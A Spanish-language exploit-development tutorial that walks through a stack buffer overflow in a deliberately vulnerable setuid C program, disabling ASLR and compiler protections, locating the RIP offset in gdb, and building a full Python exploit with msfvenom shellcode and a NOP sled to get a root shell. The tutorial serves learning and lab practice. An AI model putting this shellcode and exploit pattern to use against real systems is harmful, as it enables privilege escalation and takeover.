¿Que es un Buffer Overflow?

O conocido en español como: Desbordamiento de Buffer. En principio podemos decir que se distinguen dos tipos primarios de buffer overflow; estos son los desbordamientos de buffer basados en la pila (STACK) y los desbordamientos de buffer basados en el montón (HEAP).

Un desbordamiento de buffer ocurre cuando un programa intenta llenar un bloque de memoria (un buffer de memoria) con más datos de los que este debería contener. Los BoF son vulnerabilidades comunes en aplicaciones de software que se pueden explotar para lograr la ejecución de código remoto (RCE) o realizar por ejemplo un ataque de Denegación de Servicio (DoS).


Nuestro programa vulnerable: b0fMe.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Simple BufferOverflow <shkz>

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void myfunc(char *pwn){
char buffer[250];
strcpy(buffer,pwn);
setuid(0);
printf("No sos un buen hacker\n");}
int main(int argc, char *argv[]){
if(argc <2) {
printf("Usage: ./b0fMe <input>\n");
exit(1);
}
myfunc(argv[1]);
return 0;
}

¿Porque es vulnerable?.

En la función , se declara buffer con un tamaño fijo de 250 bytes. Sin embargo, el programa no verifica si los datos proporcionados en el argumento pwn exceden ese tamaño.

Luego el programa utiliza la función para copiar la cadena de caracteres desde pwn al buffer. no realiza comprobaciones de límites y simplemente copia datos ciegamente haciendo que sobrescriba la memoria adyacente a buffer.

Y como extra, le pusimos un setuid(0); para que la shell que nos de tenga permisos de root.


Deshabilitando las protecciones

En este primer binario vamos a deshabilitar todas las protecciones, y luego a medida que vaya publicando nuevos textos ire habilitandolas e iremos tratando bypassearlas una por una.


Deshabilitar ASLR

Mas adelante explicare que es esto en profundidad, pero en principio quedarse con el concepto de que Address Space Layout Randomization es una técnica de seguridad que intenta dificultar la explotación del binario agregando una aleatoriedad a las direcciones de memoria que se cambian cada vez que inicia el programa y así hacer mas impredecible la explotación del mismo.
Por default en mi caso de Arch el valor esta en: 2, vamos a deshabilitar con 0.
(Al reiniciar el sistema, esto se restablecerá. Para hacerlo permanente tienen que hacerlo via sysctl)


1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Compilando con GCC: Deshabilitando CANARY, NX, PIE.

Como es un código en C, tenemos que compilarlo y para esto lo haremos del siguiente modo deshabilitando algunas protecciones al mismo:

Primero compilaremos esto como ROOT, con las siguientes flags deshabilitamos protecciones y con -g le decimos que adjunte el source code para mayor claridad al momento de debuggear:


1
2
gcc -no-pie -fno-stack-protector b0fMe.c -o b0fMe -D_FORTIFY_SOURCE=0 -g -z execstack
chmod +s ./b0fMe


Ejecutando nuestro binario vulnerable: b0fMe

Este binario se enfoca simplemente en el bof. No tiene mucho por hacer. Mas que un mensaje desafiante de respuesta:


Haciendo BoF desde el INPUT

Algo muy practico y rápido es ejecutar el binario e invocar la ayuda de python o perl para imprimir bytes rápidamente y testear el buffer. Testeamos con 300 bytes:

1
./b0fMe $(python3 -c 'print ("A" * 300)')



Como vemos logramos el Segmentation Fault. En pocas palabras, desbordamos el buffer. Algo lógico conociendo la capacidad que este tenia.


¿Que es un Segmentation Fault?

Un fallo de segmentación (de ahora en mas: segfault) es una condición común que causa que los programas se bloqueen o se detengan. Generalmente ocurre cuando el programa intenta acceder/escribir a una posición de memoria a la que no está permitido.


¿Como vamos a explotar este binario?

Para explotar este BoF optaremos por pensar en lo siguiente:

  • Detectar con cuantos Bytes se rompe el programa, el cual nos permitirá sobrescribir el registro RBP.
  • Crear alguna shellcode que nos permita luego ejecutar /bin/sh
  • Cambiar el flujo del programa con el registro RIP para que apunte a nuestra shellcode.
  • Al explotar finalmente, seremos obtendremos shell como root.

Usando gdb-gef para debuggear el binario

Voy a usar GDB con algunos auxiliares para reversing y explotacion de binarios. En este link pueden ver cuales recomiendo y como configure dichos complementos:

https://myhack.tech/blog/complementos-de-reversing-y-exploiting-para-gdb/


  • gdb-gef
  • gdb-pwndbg
  • gdb-peda

Ejecutamos gdb-gef para depurar el binario:

1
gdb-gef -q ./b0fMe

Dentro de gdb-gef, podemos utilizar una función llamada pattern create para generar un patron de caracteres del siguiente modo:

1
pattern create 300

Al igual que hicimos con el oneline de python, con esta función generamos un patron de caracteres que nos va a permitir identificar de forma mas fácil cuando desborda y sobrescribe el registro RBP.

Cuando creamos un pattern, este se genera con un nombre predefinido, en este caso: “$_gef1”:


A continuación corremos el binario y le pasamos el payload creado como input:

1
gef run $_gef1

Vemos que GDB nos informa que termino el programa en segfault, justo en la función vulnerable que es donde se encuentra el buffer:


Si ahora miramos el valor de los registros, vamos a ver lo siguiente:


$rbp contiene parte del patron enviado en el payload, y este nos puede ser util para localizar el offset con la siguiente función: pattern search haaaaaab:


Bien, nos hacemos la idea de que vamos a necesitar enviar 256 bytes para sobrescribir RBP, luego los próximos 8 bytes son dedicados al SFP (Stack Frame Pointer | Marco de Pila) y finalmente 6 bytes mas para controlar RIP.

Vamos a ejemplificar esto ultimo para entenderlo mejor. Ejecutemos el siguiente payload y comprobemos si es acertada nuestra idea o no, si todo sale bien, deberíamos tener el control de RIP:

1
r $(perl -e 'print "A"x256')BBBBBBBBCCCCCC

Ahora si miramos los registros:

1
i r rbp rip


Vemos que $rbp fue modificado con los 8 bytes que le enviamos de la letra B (0x42) y luego el registro instruction pointer $rip fue modificado a los 6 bytes de la letra C (0x43).


Como vimos, $rip apunta a 0x434343434343, por eso es que gdb lo marca con un ??, al no ser una dirección real.

En resumen, con esto sabemos que podemos hacer un BoF, modificar el rbp y controlar rip. Entonces solo queda craftear una Shellcode para explotar el binario y obtener una /bin/sh, y como controlamos RIP apuntara a nuestra shellcode.


NOP Slide

Es una técnica muy vieja y conocida. Se basa en generar una secuencia de instrucciones NOP (No-Operation) donde se redirige la ejecución del programa cuando un objetivo de una instrucción no se conoce exactamente.

Cuando escribimos un exploit para aprovechar alguna vulnerabilidad en un programa, es esencial pensar que dicho programa puede ser compilado en diversos entornos, resultando en direcciones de memoria distintas.

Para encarar este problema, se recurre a una técnica llamada NOP slide, que implica dirigir la ejecución del programa hacia una región de memoria llenas de instrucciones NOP. La instrucción NOP en lenguaje ensamblador está diseñada para no hacer nada básicamente.

Entonces en nuestro ejemplo, cuando creamos el exploit la dirección de retorno apuntara hacia algunas direcciones de las instrucciones NOP que les enviamos al buffer, permitiendo que la ejecución continúe directamente hasta el inicio del shellcode sin ningún problema. De este modo no necesitaríamos con exactitud saber la direccion de donde comienza nuestra shellcode.

Para determinar cuántas instrucciones NOP necesitamos, se realiza un cálculo restando la longitud de nuestro shellcode al tamaño total del buffer.


Creando nuestra shellcode con MSFVENOM.

Una shellcode es un fragmento de código de instrucciones en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack)
de ejecución de un programa para conseguir que la máquina en la que reside se
ejecute la operación que se haya programado. Por ejemplo aprovechar para realizar acciones específicas, como en este caso, obtener una shell (/bin/sh) u otorgarle SUID Root.

En esta ocasión vamos a generar un shellcode con MSFVENOM. Sin profundizar mucho en esta ocasion, ya luego veremos sobre la creación de shellcodes, eliminación de badchars, etc etc. De momento para este caso, lo creo del siguiente modo:

1
msfvenom -p linux/x64/exec --platform linux -f c -b '\x00\x09\x0a\x20\x0d'

Una vez que tenemos nuestra shellcode. Vamos a crear un pequeño script en python llamado “exploit.py“. Iremos haciéndolo paso a paso.


Creacion del exploit: exploit.py


1 | Escribiendo la shellcode

Lo primero que debería tener este template del PoC es la shellcode, ya que es lo primero asegurado que tenemos:

1
2
3
4
5
6
7
8
9
10
import sys


# Shellcode -- /bin/sh @ msfvenom

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

2 | Escribimos NOPs y calculamos espacio para la shellcode

Luego creamos una secuencia de NOPs (‘\x90’) con una longitud de 256 bytes (valor de buffer) menos la longitud del shellcode, de este modo nos aseguramos espacio para nuestra shellcode en buffer.

1
nop = b"\x90"*(256-len(shellcode))

3 | Generamos 8 NOPs mas para sobreescribir RBP

1
rbp = b"\x90"*8

Nuestro PoC parcial quedaria asi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys

# Shellcode -- /bin/sh @ msfvenom

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

# Set values

nop = b"\x90"*(256-len(shellcode))
rbp = b"\x90"*8


sys.stdout.buffer.write(nop+shellcode+rbp)

Con sys.stdout.buffer.write es una forma de escribir bytes directamente en el buffer de salida estándar (stdout) y no realiza ninguna codificación de caracteres.
Esto no agrega el carácter de nueva línea \n al final.

Lo ultimo que nos quedaria es darle una direccion a RIP para que apunte a la zona de nuestra shellcode. Pero primero ejecutemos nuestro PoC parcial y verifiquemos:

1
python3 exploit.py >exploit



Así seria el contenido del archivo generado por nuestro EXPLOIT.PY hacia un archivo llamado exploit.
Ahí podemos ver la cantidad de los NOPs inundando el BUFFER y luego nuestra shellcode al final + los últimos 8 bytes de NOPs para sobrescribir RBP.

Volvemos a ejecutar el binario con gdb:

1
gdb-gef -q ./b0fMe

Ahora seteamos un breakpoint en main y luego ejecutamos nuestro exploit parcial:

1
2
b main 
r $(cat exploit)


Para en nuestro breakpoint de MAIN. Ahora setearemos un breakpoint en el ultimo RET de la función vulnerable “myfunc”, justo antes de que se produzca el segmentation fault:

1
2
3
disassemble myfunc

b *0x000000000040119c


Volvemos a apretar “c” para continuar la ejecución del binario y parara en nuestro breakpoint de “myfunc”:


Si hacemos un info register de RBP nos muestra lo siguiente:

1
2
3
i r rbp

rbp 0x9090909090909090 0x9090909090909090

Significa que logramos NOPear el RBP, y si ahora examinamos varias direcciones de memoria a partir de la direccion almacenada en el registro del stack pointer ($rsp) y lo mostramos en hexadecimal veremos lo siguiente:

1
x/180xg $rsp


Como vemos ahí están todos nuestros Nops inundando y nuestra shellcode.
Bien solo restaría setear alguna de esas direcciones donde están los NOps para que cuando ingrese a esa zona, aprovechemos el Nop-slide y fluya hasta ejecutar nuestra shellcode. Para este ejemplo elegiré la siguiente direccion y la pondré la seteo en el exploit: 0x7fffffffe8c8

Para setearla en el exploit tenemos que setearla del modo inverso ya que el CPU lo entiende en Little-Endian (mas adelante mostrare que hay formas con python con struct, y alternativas para ponerlas directamente, pero de momento la ponemos asi):

1
ret = b"\xc8\xe8\xff\xff\xff\x7f"

Finalmente generamos nuestro payload y concatenamos todo lo que tenemos:

1
sys.stdout.buffer.write(nop+shellcode+rbp+rip)

Final Exploit: (exploity.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys

# Shellcode -- /bin/sh @ msfvenom
# shkz

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

# Set values

nop = b"\x90"*(256-len(shellcode))
rbp = b"\x90"*8
ret = b"\xb8\xe8\xff\xff\xff\x7f"

# Crafting Pwned

sys.stdout.buffer.write(nop+shellcode+rbp+ret)

Generamos el exploit:

1
python3 exploit.py >exploit

Y si lo ejecutamos:


Somos root 😀

Por ultimo, si analizamos el exploit en el gdb, repitiendo los pasos de antes, poniendo un breakpoint en Main y luego en el RET de myfunc:


Finalmente si examinamos el memory layout:

1
x/180xg $rsp


Hasta el próximo paper donde empezare a activar las protecciones.
Muchas gracias.




References:

http://ref.x86asm.net/coder64.html
https://en.wikipedia.org/wiki/Assembly_language
https://valsmaras.medium.com/
https://www.amazon.co.uk/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441
https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/
https://en.wikipedia.org/wiki/NOP_slide
https://es.wikipedia.org/wiki/Endianness